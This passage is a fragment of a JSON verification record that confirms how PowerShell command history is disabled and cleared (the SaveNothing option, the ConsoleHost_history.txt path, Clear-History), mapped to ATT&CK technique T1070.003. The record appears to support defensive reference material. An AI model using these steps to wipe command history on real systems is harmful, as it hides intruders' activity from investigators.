   "verifyNote": "MS Learn confirms Set-PSReadLineOption -HistorySaveStyle SaveNothing ('Don't use a history file') and HistorySavePath ($($Host.Name)_history.txt, e.g. ConsoleHost_history.txt); Clear-History is a built-in cmdlet; Atomic Red Team T1070.003 documents the technique (also corroborated by Black Hills InfoSec write-up); ATT&CK T1070.003. No change."
  }
 ]